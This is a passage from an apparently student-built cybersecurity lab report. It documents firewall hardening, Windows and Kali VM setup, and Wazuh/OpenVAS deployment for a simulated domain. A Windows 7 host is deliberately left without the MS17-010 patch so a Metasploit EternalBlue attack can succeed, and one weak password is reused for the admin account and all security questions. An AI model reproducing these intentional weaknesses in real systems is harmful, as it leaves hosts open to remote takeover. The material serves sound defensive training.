#### 2.4.2.4. *Secure Configuration*

In order to better secure the intranet, we restricted access to blueTeamIntraVM at the host firewall level, allowing only explicitly permitted traffic and denying everything else. This is the baseline configuration of the firewall; the per-host allowlist for SSH, HTTP, and HTTPS is dynamically maintained by the Wazuh

Manager on blueTeamSOCVM via the active-response synchronization script ([See Section 2.7.6](#)), which aligns the allow-list with agent connectivity so that only registered and trusted end-points can reach the intranet. To configure the implicit-deny posture, we ran the following commands ([Figure 2.4.2.4.1](#)):

- ‘sudo ufw default deny incoming’
- ‘sudo ufw default allow outgoing’
- ‘sudo ufw default deny routed’

After this, we added the static rules required for the intranet to function and for administrative access from the domain controller and SOC machine. We allowed loop-back traffic to allow the machine to reach itself (necessary for WordPress redirects and internal Apache requests), and allowed inbound SSH from blueTeamADVM and blueTeamSOCVM ([Figure 2.4.2.4.2](#)):

- ‘sudo ufw allow in on lo’
- ‘sudo ufw allow from 10.8.0.10 to any port 22 proto tcp’
- ‘sudo ufw allow from 10.8.0.8 to any port 22 proto tcp’

We then enabled the firewall and verified the rule-set ([Figure 2.4.2.4.3](#)):

- ‘sudo ufw enable’

- ‘sudo ufw status verbose’

Additionally, we edited the ‘sudoers’ file using ‘sudo visudo’ and added ‘administrator ALL=(ALL) NOPASSWD: /usr/sbin/ufw’ at the end of the file to allow the ‘administrator’ account to use the ‘sudo’ command without a password for the ‘ufw’ command, satisfying the non-interactive requirement for the script ([Figure 2.4.2.4.4](#)).

Finally, we installed ‘SSH’ using the following commands ([Figure 2.4.2.4.5](#), [Figure 2.4.2.4.6](#)):

- ‘sudo apt install openssh-server -y’
- ‘sudo systemctl enable ssh’
- ‘sudo systemctl start ssh’

Notes:

If a host is added to the OpenVPN network but cannot reach the intranet despite having a valid agent connection, confirm that the Wazuh agent is reporting as ‘active’ in the Wazuh Manager on blueTeamSOCVM and that ‘sudo ufw status verbose’ on blueTeamIntraVM shows an allow rule for that host’s IP address on ports 80 and 443. If the rule is missing, the synchronization script may have failed to run; consult the script’s log on blueTeamSOCVM for diagnostic information. For the secure configuration of the web server, [see Section 2.5.2.1.4](#). For

verification steps to perform before taking the secure snapshot of this machine, [See Section 2.3.2](#).

#### 2.4.3. *blueTeamWin7VM*

##### 2.4.3.1. *Operating System*

This virtual machine runs Windows 7 Professional (Version 6.1) [7], an end-of-life operating system that reached the end of extended support in January 2020. Windows 7 was the sixth major release in the Windows NT family and introduced notable features including PowerShell 2.0, BitLocker To Go, HomeGroup networking, and an improved Windows Defender. Despite its obsolete status, Windows 7 remains in limited use across organizations that rely on legacy hardware, proprietary software, and embedded systems, making it a highly relevant and realistic target operating system for this simulation. Its inclusion in this project was deliberate: it represents the kind of unpatched, end-of-life workstation commonly found in environments that have not completed modernization efforts, and it serves as the primary victim machine for the EternalBlue remote access attack [16] demonstrated in the unsecured snapshot.

##### 2.4.3.2. *Setup*

blueTeamWin7VM was deployed via VirtualBox using a Windows 7 Professional (x64) ISO file sourced from the Internet

Archive ([Figure 2.4.3.2.1](#)). Unlike blueTeamADVM, this machine was provisioned using VirtualBox's unattended installation feature ([Figure 2.4.3.2.2](#)), with the username configured as 'administrator' and Guest Additions set to install automatically. The machine was allocated 2 GB of RAM, a single core ([Figure 2.4.3.2.3](#)), and 32 GB of hard drive space ([Figure 2.4.3.2.4](#)), reflecting the OS's minimal resource requirements relative to the other machines in the environment.

### *2.4.3.3. Base Configuration*

#### *2.4.3.3.1. OpenVPN*

In order to connect to the OpenVPN server, we needed a version of OpenVPN compatible with Windows 7 and with the version of OpenVPN running on the server. For blueTeamWin7VM, we chose OpenVPN 2.4.0-I602, as newer versions dropped support for the Windows 7 platform. To install this version, we opened myPal (our browser of choice), navigated to the OpenVPN build archive at 'build.openvpn.net', and downloaded the 'OpenVPN-2.4.0-I602.exe' installer ([Figure 2.4.3.3.1.1](#)). We ran the installer and selected 'Install Now' with default options, which also installs the required TAP-Windows6 virtual network adapter ([Figure 2.4.3.3.1.2](#)). After installation, we placed the 'blueTeamWin7VM.ovpn'

configuration file generated by the OpenVPN server into the 'config' folder under the OpenVPN installation directory, typically located at 'C:\Program Files\OpenVPN\config' ([Figure 2.4.3.3.1.3](#)). To complete an initial connection, we right-clicked the OpenVPN GUI icon in the System Tray and selected 'Connect' ([Figure 2.4.3.3.1.4](#)).

Notes:

OpenVPN 2.5.x and later dropped Windows 7 support. Ensure the 2.4.0-I602 installer is used specifically for this machine. If the TAP adapter does not appear after installation, re-run the installer and choose 'Repair'.

#### 2.4.3.3.2. *DNS*

With the OpenVPN tunnel active, we configured the TAP-Windows6 network adapter to use the domain controller as its DNS server so that the machine could resolve 'krustykrab.local' hostnames. To do this, we opened 'Control Panel', navigated to 'Network and Internet', 'Network and Sharing Center', and clicked 'Change adapter settings' ([Figure 2.4.3.3.2.1](#)). We right-clicked the TAP-Windows6 adapter, selected 'Properties', double-clicked 'Internet Protocol Version 4 (TCP/IPv4)', and set the Preferred DNS Server to '10.8.0.10' ([Figure](#)

[2.4.3.3.2.2](#)). We also disabled IPv6 on all adapters to avoid DNS resolution conflicts ([Figure 2.4.3.3.2.3](#)).

#### 2.4.3.3.3. *Joining The Domain*

With DNS resolving correctly, we joined blueTeamWin7VM to the 'krustykrab.local' domain. To do this, we opened 'Control Panel', clicked 'System and Security', then 'System', and clicked 'Change settings' under the 'Computer name, domain, and workgroup settings' section ([Figure 2.4.3.3.3.1](#)). In the 'System Properties' dialog, we clicked 'Change...', selected 'Domain', entered 'krustykrab.local', and clicked 'OK' ([Figure 2.4.3.3.3.2](#)). When prompted for credentials, we entered the domain administrator account. After a successful join confirmation, the machine was restarted to apply the changes ([Figure 2.4.3.3.3.3](#)).

Notes:

If the domain join fails with a DNS error, verify that the TAP adapter's DNS is set to 10.8.0.10 and that the OpenVPN tunnel is active before attempting to join. If a clock skew error occurs, synchronize the system time with the domain controller by running 'w32tm /resync' from an elevated command prompt.

#### 2.4.3.3.4. *Security Patches (Intentionally Omitted)*

In the base (unsecured) snapshot, Windows Update was intentionally left in an unpatched state. Specifically, Service Pack 1 and critical post-SP1 security updates, including the ‘MS17-010’ patch [15] that addresses the EternalBlue vulnerability, were not applied. This was deliberate, as the purpose of the base snapshot is to demonstrate the attack surface present on an unpatched, end-of-life Windows 7 workstation. The absence of these patches, in addition to the lack of an active host-level firewall, is what allows the EternalBlue exploit, executed from redTeamXUVM via Metasploit [17], to successfully achieve remote code execution and SYSTEM-level access on this machine.

#### *2.4.3.4. Secure Configuration*

The secure configuration of blueTeamWin7VM involved applying the critical security patches that were intentionally omitted from the base snapshot. Specifically, Service Pack 1 and Microsoft .NET Framework 4.8, among numerous other post-SP1 cumulative updates and security patches, were downloaded and installed via Microsoft’s Update Catalog site ([Figure 2.4.3.4.1](#)). This patched the MS17-010 vulnerability exploited by EternalBlue, preventing the remote access attack demonstrated in the unsecured snapshot from succeeding. Beyond patching, this machine was not

manually reconfigured as part of the secure setup, but the secure snapshot differs meaningfully from the base snapshot due to the automated deployment of the Wazuh agent, Sysmon, and the phishing simulation via Group Policy. After applying the group policies, we verified that deployment was successful before taking the secure snapshot of this machine. For verification steps to perform before taking the secure snapshot, See [Section 2.3.2](#).

#### 2.4.4. *blueTeamWin10VM*

##### 2.4.4.1. *Operating System*

This machine runs Windows 10 (Version 22H2, build 19045.3803) [20]. Windows 10 reached end-of-support on October 14th, 2025, after which Microsoft ceased providing free security updates for the majority of releases. Windows 10, although deprecated, remains one of the most widely deployed desktop operating systems globally due to a variety of reasons. Due to some environments hosting legacy applications and older hardware, the hidden costs of upgrading, and the more demanding requirements of its successor, many environments will likely continue to utilize Windows 10 for some time to come. This persistence of an end-of-life operating system means that it is necessary to explore potential vulnerabilities and learn how to best secure such a host in a modern environment

##### 2.4.4.2. *Setup (Part I)*

blueTeamWin10VM was deployed via VirtualBox from the 'Windows' ISO file obtained from the creation tool found on 'microsoft.com/en-us/software-download/windows10', which we navigated to after searching 'windows 10 iso download' ([Figure 2.4.4.2.1](#)). After clicking on 'Download Now', we obtained the 'Media Creation Tool' which we used to create the ISO image file ([Figure 2.4.4.2.2](#)). After double-clicked to run the tool, we selected 'Accept', 'Create installation media...' and 'Next', unchecked 'Use the recommended options for this PC', set 'Language' to 'English...', Edition to 'Windows 10', and 'Architecture' to '64-bit (x64)', 'Next', and selected 'ISO file' for media and 'Next', and selected the 'Downloads' folder for the target directory ([Figure 2.4.4.2.3](#)). Finally, we clicked 'Finish', and clicked 'Machine/New' to begin provisioning the virtual machine in VirtualBox ([Figure 2.4.4.2.4](#)). We selected the newly created ISO file by clicking the 'ISO Image' drop-down, clicking 'Other...', and selecting the file from the 'Downloads' folder, clicking 'Open', and ensuring that 'Skip Unattended Installation' was checked ([Figure 2.4.4.2.5](#)). Next, we expanded the 'Hardware' and 'Hard Disk' sections and allocated a single core, 2,048 MB of memory ([Figure 2.4.4.2.6](#)), and 40 GB of storage ([Figure 2.4.4.2.7](#)) before clicking 'Finish'. Additionally, after provisioning we right-clicked the machine, clicked 'Settings/Display' to allocate 128 MB of video memory,

and ‘Advanced’ to set ‘Shared Clipboard’ as well as ‘Drag’n’Drop’ to ‘Bidirectional’ ([Figure 2.4.4.2.8](#), [Figure 2.4.4.2.9](#)). It is important to note that VirtualBox Manager’s ‘Unattended Install’ was not used as we selected ‘Skip Unattended Installation’.

#### 2.4.4.3. *Setup (Part II)*

For the installation we left the language, time, and keyboard settings as default, and, when prompted, we selected ‘Install now’. After this, we clicked ‘I don’t have a product key’ ([Figure 2.4.4.3.1](#)). For the operating system, we selected ‘Windows 10 Pro’ and then clicked ‘Next’ ([Figure 2.4.4.3.2](#)). Next, we clicked ‘I accept the license terms’ and then ‘Next’, and chose ‘Custom: Install Windows Only (advanced)’ ([Figure 2.4.4.3.3](#)). For the installation location, we selected the VDI file created by VirtualBox ‘Drive 0’ and then clicked ‘Next’ ([Figure 2.4.4.3.4](#)). After the installation finished, we selected ‘United States’ and ‘Yes’, ‘US’ and ‘Yes’, and ‘Skip’. For set up, we chose ‘Set up for personal use’ and ‘Next’, ‘Offline account’ and ‘Limited experience’ ([Figure 2.4.4.3.5](#)). After this, to create the local administrator account, we entered ‘admin’, ‘Next’, ‘KrustyAdmin!’, same password to confirm, and ‘Next’ ([Figure 2.4.4.3.6](#)). For the security questions, we used the top three questions and entered ‘KrustyAdmin!’ for all of them ([Figure](#)

[2.4.4.3.7](#)). For the ‘...browsing data’ screen we chose ‘Not now’ and turned off all of the privacy settings before clicking ‘Accept’, clicked ‘Skip’, and finally ‘Not now’. For the ‘...allow your PC to be discoverable...’ we selected ‘Yes’ ([Figure 2.4.4.3.8](#)).

#### *2.4.4.4. Base Configuration*

##### *2.4.4.4.1. Firefox*

For consistency, as well as to save on resources, we installed Mozilla’s Firefox Version 147.0.4. To do this, we opened MS Edge, searched for ‘firefox downloads archive’, clicked on the result from ‘archive.mozilla.org’ ([Figure 2.4.4.4.1.1](#)), navigated to the ‘147.0.4’ directory ([Figure 2.4.4.4.1.2](#)), and continued to ‘win64/en-US’ and downloaded ‘Firefox Setup 147.0.4.exe’ ([Figure 2.4.4.4.1.3](#)). From there, we simply ran the installer with default options and used Firefox instead of MS Edge.

##### *2.4.4.4.2. OpenVPN*

In order to connect to the OpenVPN server, blueTeamWin10VM needed a version of OpenVPN compatible with both Windows 10 and the version of OpenVPN running on the server. For this machine, we chose ‘OpenVPN 2.5.9-I601’. To install this version, we used Firefox to navigate to ‘<https://build.openvpn.net/downloads/releases/>’, scrolled to

‘OpenVPN-2.5.9-...’ and downloaded the ‘OpenVPN-2.5.9-I601-amd64.msi’ file ([Figure 2.4.4.4.2.1](#)). From there, we ran the installer and selected ‘Install Now’ ([Figure 2.4.4.4.2.2](#)). After this, we opened used the search function on the Windows Taskbar to search for and launch ‘Services’ with administrator privileges ([Figure 2.4.4.4.2.3](#)), found ‘OpenVPN Interactive Service’ and ensured it was set to ‘Automatic’, and found ‘OpenVPNService’ and ensured it was set to ‘Automatic’ ([Figure 2.4.4.4.2.4](#)). Finally, we took the ‘blueTeamWin10VM.ovpn’ file generated by the OpenVPN server ([See Section 2.2](#)) and placed it within the ‘config-auto’ folder at ‘C:\Program Files\OpenVPN\config-auto\’ by searching for ‘Notepad’, running ‘Notepad’ with administrator privileges ([Figure 2.4.4.4.2.5](#)), pasting the certificate contents, clicking ‘File/Save As’, and saving it to the directory after naming the file with the appropriate extension and ensuring ‘Encoding’ was set to ‘UTF-8’ ([Figure 2.4.4.4.2.6](#), [Figure 2.4.4.4.2.7](#)).

Notes:

Ensure the OpenVPN configuration file is only in the ‘config-auto’ folder and not duplicated anywhere else

on the host, and that the interactive service is disabled and the GUI is not running in the System Tray. If ‘OpenVPNService’ is not installed as part of the standard installation option, follow the same remediation documented for blueTeamADVMM ([See Section 2.4.1.3.3](#)).

#### 2.4.4.4.3. *DNS*

For blueTeamWin10VM, the OpenVPN adapter must be configured to use the domain controller as its DNS server so that the machine can resolve domain hostnames over the tunnel before attempting to join the domain. To configure this, we used the search function on the Taskbar to search for ‘Control Panel’, pressed the enter-key ([Figure 2.4.4.4.3.1](#)), clicked on ‘Network and Internet’ ([Figure 2.4.4.4.3.2](#)), ‘Network and Sharing Center’ ([Figure 2.4.4.4.3.3](#)), ‘Change adapter settings’ ([Figure 2.4.4.4.3.4](#)), double-clicked on the ‘OpenVPN TAP-Windows6’ adapter, selected ‘Properties’, selected ‘Internet Protocol Version 4 (TCP/IPv4)’ and unchecked ‘Internet Protocol Version 6 (TCP/IPv4)’, clicked ‘Properties’, and set the DNS server to ‘10.8.0.10’ ([Figure 2.4.4.4.3.5](#)). We also double-clicked the ‘Ethernet’ adapter, clicked ‘Properties’, and disabled ‘Internet Protocol Version 6 (TCP/IPv4)’ ([Figure 2.4.4.4.3.6](#)).

As with blueTeamADVM, we also configured the network interface priority metrics to favor the OpenVPN interface so that DNS queries for the internal domain are routed to the domain controller rather than to public DNS. We did this by opening an elevated PowerShell session through the Windows Search function and running the following commands ([Figure 2.4.4.4.3.7](#)):

- ‘Set-NetIPInterface -InterfaceAlias “OpenVPN TAP-Windows6” -InterfaceMetric 5’
- ‘Set-NetIPInterface -InterfaceAlias “Ethernet” -InterfaceMetric 50’

#### *2.4.4.4.4. Oracle Guest Additions*

This step may be performed at any time, but for improved quality-of-life we recommend mounting and installing VirtualBox’s Guest Additions. To do this, from the top of the machine window we selected ‘Devices’, ‘Insert Guest Additions CD Image...’ ([Figure 2.4.4.4.4.1](#)). Next, we opened ‘File Explorer’ from the Taskbar, clicked on ‘This PC’, and double-clicked the newly mounted drive associated with VirtualBox Guest Additions ([Figure 2.4.4.4.4.2](#)). The installer should open automatically; if not, the installer may be selected by navigating directly to the drive and double-clicking

‘VBoxWindowsAdditions-amd64’ ([Figure 2.4.4.4.3](#)). In the installer GUI, we clicked on ‘Next’, ‘Next’ (leaving path as default), and finally ‘Install’ ([Figure 2.4.4.4.4](#)). After the installation completes, optionally choose to reboot now or later and click ‘Finish’.

#### 2.4.4.4.5. *Host Name*

The default hostname assigned by Windows is a randomized string. Before joining the domain, we changed this to the name we use for this machine in our lab. To do this, we used the search function on the Taskbar to search for ‘Control Panel’ ([Figure 2.4.4.4.5.1](#)), pressed the enter-key, clicked on ‘System and Security’, clicked on ‘See the name...’ under ‘System’ ([Figure 2.4.4.4.5.2](#)), clicked on ‘Change Settings’ ([Figure 2.4.4.4.5.3](#)), clicked on ‘Rename this PC’ ([Figure 2.4.4.4.5.4](#)), entered ‘blueTeamWin10VM’ in the ‘Computer name’ field, and clicked on ‘Next’ ([Figure 2.4.4.4.5.5](#)). After this, we clicked ‘Restart Now’.

#### 2.4.4.4.6. *Joining The Domain*

Before joining the domain, ensure that the OpenVPN tunnel is up (the TAP adapter should show ‘Connected’), DNS for the OpenVPN interface points to ‘10.8.0.10’ ([See Section 2.4.4.4.3](#)), and the hostname has

been set ([See Section 2.4.4.4.5](#)). To join the domain, we used the search function on the Taskbar to search for ‘View Advanced System Settings’ ([Figure 2.4.4.4.6.1](#)), pressed the enter-key, clicked on ‘Computer Name’ and ‘Change...’ ([Figure 2.4.4.4.6.2](#)), clicked on ‘Domain’, entered ‘krustykrab.local’, and clicked ‘OK’ ([Figure 2.4.4.4.6.3](#)). Finally, we entered the credentials of the domain administrator we set up in [Section 2.5.1.3.3](#) and clicked ‘OK’ ([Figure 2.4.4.4.6.4](#)) before rebooting to apply the changes.

Notes:

If the domain join fails with an error about DNS resolution, verify that the OpenVPN tunnel is up and that the ‘TAP’ adapter shows ‘10.8.0.10’ as its DNS server. Running ‘nslookup krustykrab.local’ from an elevated Command Prompt window should return ‘10.8.0.10’ (or whichever IP the domain controller was assigned on the OpenVPN server). If the join fails with an error about credentials, verify that the domain admin account password is correct and that the account is a member of the ‘Domain Admins’ group and that the group was assigned the appropriate permissions for managing domain membership ([See Section 2.5.1.3.3](#)).

If domain sign in fails after a successful domain join, verify that the OpenVPN tunnel comes up before the Windows sign in screen is presented. The 'OpenVPNService' start mode set to 'Automatic' in [Section 2.4.4.4.2](#) should accomplish this, but on slower hosts the tunnel may not be established before the user attempts to sign in. If this occurs, wait at least a minute after boot before signing in, or set the service start mode to 'Automatic (Delayed Start)' to give it more time but ensure dependency-aware ordering.

#### *2.4.4.5. Secure Configuration*

This machine was not manually altered as part of the secure configuration, but the secure snapshot is different from the base snapshot due to the Wazuh agent deployment, Sysmon deployment, and secure phishing simulation deployment. When these group policies are applied, it will be necessary to verify that deployment was successful before taking the snapshot of the machine for the secure snapshot set. For verification steps to perform before taking the secure snapshot of this machine, [See Section 2.3.2.](#)

#### *2.4.5. blueTeamSOCVM*

##### *2.4.5.1. Operating System*

This virtual machine runs Kali Linux 2026.2 [8], a Debian-based rolling release distribution designed for penetration testing and security operations. Released on June 29, 2026, this version ships with Linux kernel 6.19 and introduces nine new, such as ‘arsenal-ng’ and ‘legba’, alongside VM boot-time optimizations. Its role in this simulation is that of a SOC analyst workstation, leveraging Kali's security-focused toolset to monitor, detect, and investigate activity across the simulated LAN.

#### 2.4.5.2. *Setup*

The virtual machine was provisioned in Oracle VirtualBox by importing Kali’s official pre-built VirtualBox appliance ([Figure 2.4.5.2.1](#)), an ‘.ova’ image distributed with VirtualBox Guest Additions already installed. After extracting the contents, we renamed the folder containing the ‘.vdi’ file to ‘blueTeamSOCVM’ and moved the folder to the ‘VirtualBox VMs’ folder within our user folder ([Figure 2.4.5.2.2](#)), navigated to ‘Machine/New...’ ([Figure 2.4.5.2.3](#)), entered ‘blueTeamSOCVM’ for the ‘Name:’ field, selected ‘Debian’ for the ‘Subtype:’ field, clicked the drop down arrow next to the ‘Folder:’ field, ‘Other’, and selected the blueTeamSOCVM folder ([Figure 2.4.5.2.4](#)). 8 GB of RAM and 2 cores were allocated from available hardware resources ([Figure 2.4.5.2.5](#)), and when prompted to create or add a virtual hard disk we selected ‘Use an existing...file’, clicked the drop down arrow,

‘Add’, selected the ‘.vdi’ file from the official Kali website, and clicked ‘Choose...’ ([Figure 2.4.5.2.6](#)) before finally clicking ‘Next’ and ‘Finish’. After powering on for the first time, we signed in with the default ‘kali/kali’ account, created the ‘administrator’ user with ‘`sudo useradd -m -s /bin/bash -G sudo administrator`’ and ‘`sudo passwd administrator`’, entering our standard administrator password twice as prompted ([Figure 2.4.5.2.7](#)). We then rebooted, signed into our newly created ‘administrator’ account, and deleted the default account ([Figure 2.4.5.2.8](#)). Finally, in order to enable ‘Shared Clipboard’ and ‘Drag’n’Drop’, we right-clicked on the machine, clicked ‘Settings’, ‘General/Advanced’, set both to ‘Bidirectional’, and clicked ‘OK’ ([Figure 2.4.5.2.9](#)).

### *2.4.5.3. Base Configuration*

#### *2.4.5.3.1. System Update*

Prior to tool installation, the system packages were brought fully up to date using ‘`sudo apt update && sudo apt upgrade -y`’ ([Figure 2.4.5.3.1.1](#)).

#### *2.4.5.3.2. OpenVPN*

In order to connect to the OpenVPN server and reach the krustykrab.local network, we confirmed OpenVPN was installed and configured it to connect automatically on boot. OpenVPN was installed using ‘`sudo apt install openvpn -y`’ ([Figure 2.4.5.3.2.1](#)).

After installation, we copied the contents of the 'blueTeamSOCVM.ovpn' configuration file generated by the OpenVPN server into 'blueTeamSOCVM.conf' on the desktop and copied the file to '/etc/openvpn/' ([Figure 2.4.5.3.2.2](#)):

- 'sudo cp Desktop/blueTeamSOCVM.conf  
/etc/openvpn/client/'

We then enabled and started the OpenVPN service to connect automatically on boot ([Figure 2.4.5.3.2.3](#)):

- 'sudo systemctl enable --now  
openvpn-client@blueTeamSOCVM'

To verify the tunnel was established, we confirmed the presence of the 'tun0' interface and the assigned IP address using 'ifconfig' ([Figure 2.4.5.3.2.4](#)).

Notes:

The OpenVPN configuration file must be placed in '/etc/openvpn/' with a '.conf' extension for the systemd service unit 'openvpn@blueTeamSOCVM' to manage it correctly. If the tunnel does not come up after enabling the service, check the service status with 'sudo systemctl status openvpn@blueTeamSOCVM' for diagnostic output, and verify the IP address for the OpenVPN server in the configuration file.

#### 2.4.5.3.3. *Wazuh Manager, Indexer, and Dashboard*

Wazuh in this environment is deployed as three components on blueTeamSOCVM: the Wazuh Indexer (an OpenSearch-based data store), the Wazuh Manager (the central rule-evaluation and alerting engine), and the Wazuh Dashboard (a web-based interface for viewing alerts and agent status), connected by 'FileBeat', which ships alert data from the Manager to the Indexer.

We first added the Wazuh apt repository using the following commands ([Figure 2.4.5.3.3.1](#)):

- `'curl -s  
https://packages.wazuh.com/key/GPG-KEY-WAZU  
H | sudo gpg --dearmor -o  
/usr/share/keyrings/wazuh.gpg'`
- `'echo "deb  
[signed-by=/usr/share/keyrings/wazuh.gpg]  
https://packages.wazuh.com/4.x/apt/ stable main" |  
sudo tee /etc/apt/sources.list.d/wazuh.list'`
- `'sudo apt update'`
- `'sudo apt upgrade -y'`

We then obtained the tool to generate the certificate bundle and the configuration file ([Figure 2.4.5.3.3.2](#)):

- ‘curl -sO

<https://packages.wazuh.com/4.14/wazuh-certs-tool.sh>

- ‘curl -sO

<https://packages.wazuh.com/4.14/config.yml>’

We then edited ‘config.yml’ to define three node roles: indexer (node name ‘node-1’), server (the manager, node name ‘wazuh-1’), and dashboard (node name ‘dashboard’) with all using the IP address set for blueTeamSOCVM ([Figure 2.4.5.3.3.3](#)). After this, we ran ‘sudo bash wazuh-certs-tool.sh -A’ ([Figure 2.4.5.3.3.4](#)) to produce the ‘.pem’ and ‘...-key.pem’ pairs for each node, a shared ‘root-ca.pem’, and an ‘admin’ pair used for indexer administration.

Next, we installed the Indexer by running ‘sudo apt install wazuh-indexer -y’ and deploying its certificates ([Figure 2.4.5.3.3.5](#), [Figure 2.4.5.3.3.6](#)):

- ‘sudo mkdir -p /etc/wazuh-indexer/certs’
- ‘sudo cp wazuh-certificates/root-ca.pem  
/etc/wazuh-indexer/certs/root-ca.pem’
- ‘sudo cp wazuh-certificates/node-1.pem  
/etc/wazuh-indexer/certs/indexer.pem’

- ‘sudo cp wazuh-certificates/node-1-key.pem  
/etc/wazuh-indexer/certs/indexer-key.pem’
- ‘sudo cp wazuh-certificates/admin.pem  
/etc/wazuh-indexer/certs/admin.pem’
- ‘sudo cp wazuh-certificates/admin-key.pem  
/etc/wazuh-indexer/certs/admin-key.pem’
- ‘sudo chmod 400  
/etc/wazuh-indexer/certs/root-ca.pem’
- ‘sudo chmod 400  
/etc/wazuh-indexer/certs/indexer.pem’
- ‘sudo chmod 400  
/etc/wazuh-indexer/certs/indexer-key.pem’
- ‘sudo chmod 400  
/etc/wazuh-indexer/certs/admin.pem’
- ‘sudo chmod 400  
/etc/wazuh-indexer/certs/admin-key.pem’
- ‘sudo chown -R wazuh-indexer:wazuh-indexer  
/etc/wazuh-indexer/certs’
- ‘sudo chmod 500 /etc/wazuh-indexer/certs’
- ‘sudo systemctl enable wazuh-indexer’
- ‘sudo systemctl start wazuh-indexer’

With the Indexer installed, we initialized its security configuration, installed the Wazuh Manager, and

configured the Manager's connection to the Indexer using its keystore ([Figure 2.4.5.3.3.7](#)):

- 'sudo  
/usr/share/wazuh-indexer/bin/indexer-security-init.sh'
- 'sudo apt install wazuh-manager -y'
- 'echo '[indexer-admin-username]' | sudo  
/var/ossec/bin/wazuh-keystore -f indexer -k  
username'
- 'echo '[indexer-admin-password]' | sudo  
/var/ossec/bin/wazuh-keystore -f indexer -k  
password '
- 'sudo systemctl enable wazuh-manager'
- 'sudo systemctl start wazuh-manager'

For the Dashboard, we ran 'sudo apt install wazuh-dashboard -y' deploying its certificates ([Figure 2.4.5.3.3.8](#)):

- 'sudo apt install wazuh-dashboard -y'
- 'sudo mkdir -p /etc/wazuh-dashboard/certs'
- 'sudo cp wazuh-certificates/root-ca.pem  
/etc/wazuh-dashboard/certs/root-ca.pem'
- 'sudo cp wazuh-certificates/dashboard.pem  
/etc/wazuh-dashboard/certs/dashboard.pem'

- 'sudo cp wazuh-certificates/dashboard-key.pem  
/etc/wazuh-dashboard/certs/dashboard-key.pem'
- 'sudo chmod 400  
/etc/wazuh-dashboard/certs/root-ca.pem'
- 'sudo chmod 400  
/etc/wazuh-dashboard/certs/dashboard.pem'
- 'sudo chmod 400  
/etc/wazuh-dashboard/certs/dashboard-key.pem'
- 'sudo chown -R wazuh-dashboard:wazuh-dashboard  
/etc/wazuh-dashboard/certs'
- 'sudo chmod 500 /etc/wazuh-dashboard/certs'
- 'sudo systemctl enable wazuh-dashboard'
- 'sudo systemctl start wazuh-dashboard'

Additionally, in order to ship alert data from the Manager into the Indexer for display on the Dashboard, we configured Filebeat [27], deployed its certificates, and populated the keystore ([Figure 2.4.5.3.3.9](#)):

- 'sudo apt install filebeat -y'
- 'sudo curl -so /etc/filebeat/wazuh-template.json  
https://raw.githubusercontent.com/wazuh/wazuh/v4.14.4/extensions/elasticsearch/7.x/wazuh-template.js  
on'
- 'sudo chmod go+r /etc/filebeat/wazuh-template.json'

- 'sudo curl -s  
  
https://packages.wazuh.com/4.x/filebeat/wazuh-file  
beat-0.5.tar.gz | sudo tar -xvz -C  
  
/usr/share/filebeat/module'
- 'sudo mkdir -p /etc/filebeat/certs'
- 'sudo cp wazuh-certificates/root-ca.pem  
  
/etc/filebeat/certs/root-ca.pem'
- 'sudo cp wazuh-certificates/wazuh-1.pem  
  
/etc/filebeat/certs/filebeat.pem'
- 'sudo cp wazuh-certificates/wazuh-1-key.pem  
  
/etc/filebeat/certs/filebeat-key.pem'
- 'sudo chmod 400 /etc/filebeat/certs/root-ca.pem'
- 'sudo chmod 400 /etc/filebeat/certs/filebeat.pem'
- 'sudo chmod 400  
  
/etc/filebeat/certs/filebeat-key.pem'
- 'sudo chown -R root:root /etc/filebeat/certs'
- 'sudo chmod 500 /etc/filebeat/certs'
- 'sudo filebeat keystore create'
- 'sudo filebeat keystore add username  
  
[indexer-admin-username]'
- 'sudo filebeat keystore add password  
  
[indexer-admin-password]'

Notes:

The default credentials for the Wazuh Indexer are ‘admin:admin’.

#### 2.4.5.3.4. *Filebeat Configuration*

Filebeat is installed without any awareness of Wazuh, and the default ‘/etc/filebeat/filebeat.yml’ file has many sections that need to be updated. Before Filebeat can send alert data to the Wazuh Indexer, three sections of this file need to be configured.

First, we configured the output destination to use the certificates and keystore credentials already deployed, replacing the default ‘output.elasticsearch’ block ([Figure 2.4.5.3.4.1](#)). Next, we added the Wazuh template to the file ([Figure 2.4.5.3.4.2](#)), and created ‘/etc/filebeat/modules.d/wazuh.yml’ ([Figure 2.4.5.3.4.3](#)).

After we finished configuring Filebeat, we enabled and started the service ([Figure 2.4.5.3.4.4](#)).

#### 2.4.5.3.5. *OpenVAS*

OpenVAS [28] (Open Vulnerability Assessment Scanner), managed through the Greenbone Vulnerability Manager (GVM) framework, was installed on blueTeamSOCVM to provide proactive vulnerability scanning capabilities across the simulated network. OpenVAS runs Network Vulnerability Tests (NVTs) against target hosts, scores

findings using the Common Vulnerability Scoring System (CVSS), and generates prioritized remediation reports for the security team. The installation was performed using 'sudo apt install gvm -y' ([Figure 2.4.5.3.5.1](#)).

After installation, GVM was initialized to set up the database and download the initial NVT feed using 'sudo gvm-setup' ([Figure 2.4.5.3.5.2](#)). We saved the password generated during the script execution to a document on the desktop. Finally, enabled and started the 'gvmd' and 'gsad' services ([Figure 2.4.5.3.5.3](#)).

For a detailed explanation of how OpenVAS operates as a service on blueTeamSOCVM and its role in the overall defensive architecture, [See Section 2.5.3.2](#).

Notes:

GVM setup can take a significant amount of time on the first run due to the NVT feed download. If the web interface is inaccessible after setup, verify the 'gvmd' and 'gsad' services are running with 'sudo systemctl status gvmd gsad'.

#### *2.4.5.3.6. Detection Rules and Active Response*

A default Wazuh installation ships with a broad general-purpose ruleset that detects potentially suspicious and malicious behavior on endpoints, generates alerts, and

produces dashboard-views. Taking advantage of the support for automated action and the customization of these rules, we implemented a basic active-response flow that, when triggered, will email Larry regarding the event and conditionally send a kill signal to endpoints for end offending processes. For this implementation, we needed a shared agent configuration enabling collection of Sysmon telemetry in the first place, a set of custom detection rules evaluating that telemetry, and active-response bindings connecting matched rules to the appropriate response script.

By default, a Wazuh agent collects none of the Windows Event Log channels Sysmon writes to, so this must be explicitly configured. We created `‘/var/ossec/etc/shared/default/agent.conf’` with the necessary content, which is pushed automatically to every agent in the default group ([Figure 2.4.5.3.6.1](#)). This file may be downloaded from the [Github repository](#) (`‘config/agent.conf’`) and placed at `‘/var/ossec/etc/shared/default/agent.conf’`.

Custom detection rules for this lab’s attack scenarios (100001-100051) were deployed to `‘/var/ossec/etc/rules/local_rules.xml’` ([Figure 2.4.5.3.6.2](#)). The ruleset used in our environment should be downloaded

from the [Github repository](#)

